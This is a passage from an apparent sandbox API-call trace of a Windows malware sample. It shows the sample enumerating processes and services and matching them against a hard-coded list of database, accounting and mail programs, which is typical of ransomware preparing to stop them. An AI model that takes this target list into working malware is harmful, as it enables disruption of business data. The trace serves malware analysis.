szExeFile="services.exe")) returned 1 [0261.038] lstrlenW (lpString="services.exe") returned 12 [0261.038] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0261.038] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0261.038] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0261.038] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0261.038] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0261.038] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0261.038] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0261.038] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0261.038] lstrlenW (lpString="lsass.exe") returned 9 [0261.038] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0261.038] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0261.038] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0261.038] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0261.038] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0261.038] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0261.038] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0261.038] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0261.039] lstrlenW (lpString="lsm.exe") returned 7 [0261.039] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0261.039] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0261.039] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0261.039] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0261.039] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0261.039] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0261.039] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0261.039] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.039] lstrlenW (lpString="svchost.exe") returned 11 [0261.039] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0261.039] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0261.039] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0261.039] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0261.039] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0261.039] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0261.039] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0261.039] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.040] lstrlenW (lpString="svchost.exe") returned 11 [0261.040] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0261.040] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0261.040] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0261.040] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0261.040] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0261.040] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0261.040] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0261.040] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.040] lstrlenW (lpString="svchost.exe") returned 11 [0261.040] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0261.040] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0261.040] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0261.040] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0261.040] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0261.040] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0261.041] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0261.041] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.041] lstrlenW (lpString="svchost.exe") returned 11 [0261.041] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.041] lstrlenW (lpString="svchost.exe") returned 11 [0261.041] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0261.042] lstrlenW (lpString="audiodg.exe") returned 11 [0261.042] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.042] lstrlenW (lpString="svchost.exe") returned 11 [0261.042] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.042] lstrlenW (lpString="svchost.exe") returned 11 [0261.042] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0261.042] lstrlenW (lpString="userinit.exe") returned 12 [0261.042] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0261.043] lstrlenW (lpString="dwm.exe") returned 7 [0261.043] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0261.043] lstrlenW (lpString="explorer.exe") returned 12 [0261.043] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0261.043] lstrlenW (lpString="spoolsv.exe") returned 11 [0261.043] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0261.044] lstrlenW (lpString="taskhost.exe") returned 12 [0261.044] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.044] lstrlenW (lpString="svchost.exe") returned 11 [0261.044] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0261.044] lstrlenW (lpString="uyuquk.exe") returned 10 [0261.044] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0261.045] lstrlenW (lpString="reader_sl.exe") returned 13 [0261.045] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0261.045] CloseHandle (hObject=0x37c) returned 1 [0261.045] Sleep (dwMilliseconds=0x1f4) [0261.865] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6147c0 [0262.163] EnumServicesStatusExW (in: hSCManager=0x6147c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0262.163] GetLastError () returned 0xea [0262.163] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x57af28 [0262.163] EnumServicesStatusExW (in: hSCManager=0x6147c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x57af28, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x57af28, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0262.164] CloseServiceHandle (hSCObject=0x6147c0) returned 1 [0262.164] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0262.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0262.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0262.164] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0262.164] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0262.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0262.164] lstrlenW (lpString="AudioSrv") returned 8 [0262.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0262.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0262.164] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0262.164] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0262.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0262.164] lstrlenW (lpString="BFE") returned 3 [0262.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0262.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0262.165] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0262.165] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0262.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0262.165] lstrlenW (lpString="CryptSvc") returned 8 [0262.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0262.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0262.165] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0262.165] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0262.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0262.165] lstrlenW (lpString="CscService") returned 10 [0262.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0262.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0262.165] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0262.165] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0262.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0262.165] lstrlenW (lpString="DcomLaunch") returned 10 [0262.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0262.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0262.165] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0262.165] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0262.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0262.165] lstrlenW (lpString="Dhcp") returned 4 [0262.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0262.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0262.165] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0262.165] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0262.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0262.165] lstrlenW (lpString="Dnscache") returned 8 [0262.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0262.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0262.165] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0262.165] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0262.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0262.165] lstrlenW (lpString="DPS") returned 3 [0262.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0262.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0262.166] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0262.166] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0262.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0262.166] lstrlenW (lpString="eventlog") returned 8 [0262.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0262.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0262.166] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0262.166] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0262.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0262.166] lstrlenW (lpString="EventSystem") returned 11 [0262.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0262.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0262.166] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0262.166] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0262.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0262.166] lstrlenW (lpString="gpsvc") returned 5 [0262.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0262.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0262.166] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0262.166] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0262.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0262.166] lstrlenW (lpString="LanmanWorkstation") returned 17 [0262.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0262.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0262.166] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0262.166] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0262.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0262.166] lstrlenW (lpString="lmhosts") returned 7 [0262.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0262.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0262.166] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0262.166] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0262.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0262.166] lstrlenW (lpString="MMCSS") returned 5 [0262.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0262.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0262.167] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0262.167] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0262.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0262.167] lstrlenW (lpString="MpsSvc") returned 6 [0262.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0262.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0262.167] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0262.167] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0262.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0262.167] lstrlenW (lpString="NlaSvc") returned 6 [0262.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0262.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0262.167] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0262.167] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0262.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0262.167] lstrlenW (lpString="nsi") returned 3 [0262.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0262.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0262.167] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0262.167] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0262.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0262.167] lstrlenW (lpString="PcaSvc") returned 6 [0262.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0262.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0262.167] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0262.167] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0262.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0262.167] lstrlenW (lpString="PlugPlay") returned 8 [0262.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0262.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0262.167] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0262.167] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0262.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0262.167] lstrlenW (lpString="Power") returned 5 [0262.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0262.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0262.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0262.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0262.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0262.168] lstrlenW (lpString="ProfSvc") returned 7 [0262.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0262.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0262.168] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0262.168] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0262.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0262.168] lstrlenW (lpString="RpcEptMapper") returned 12 [0262.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0262.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0262.168] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0262.168] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0262.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0262.168] lstrlenW (lpString="RpcSs") returned 5 [0262.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0262.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0262.168] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0262.168] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0262.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0262.168] lstrlenW (lpString="SamSs") returned 5 [0262.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0262.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0262.168] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0262.168] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0262.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0262.168] lstrlenW (lpString="Schedule") returned 8 [0262.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0262.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0262.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0262.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0262.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0262.169] lstrlenW (lpString="SENS") returned 4 [0262.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0262.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0262.169] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0262.169] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0262.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0262.169] lstrlenW (lpString="ShellHWDetection") returned 16 [0262.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0262.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0262.169] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0262.169] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0262.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0262.169] lstrlenW (lpString="Spooler") returned 7 [0262.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0262.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0262.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0262.169] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0262.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0262.169] lstrlenW (lpString="SysMain") returned 7 [0262.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0262.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0262.169] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0262.169] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0262.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0262.169] lstrlenW (lpString="Themes") returned 6 [0262.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0262.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0262.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0262.169] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0262.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0262.169] lstrlenW (lpString="TrkWks") returned 6 [0262.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0262.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0262.169] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0262.169] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0262.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0262.170] lstrlenW 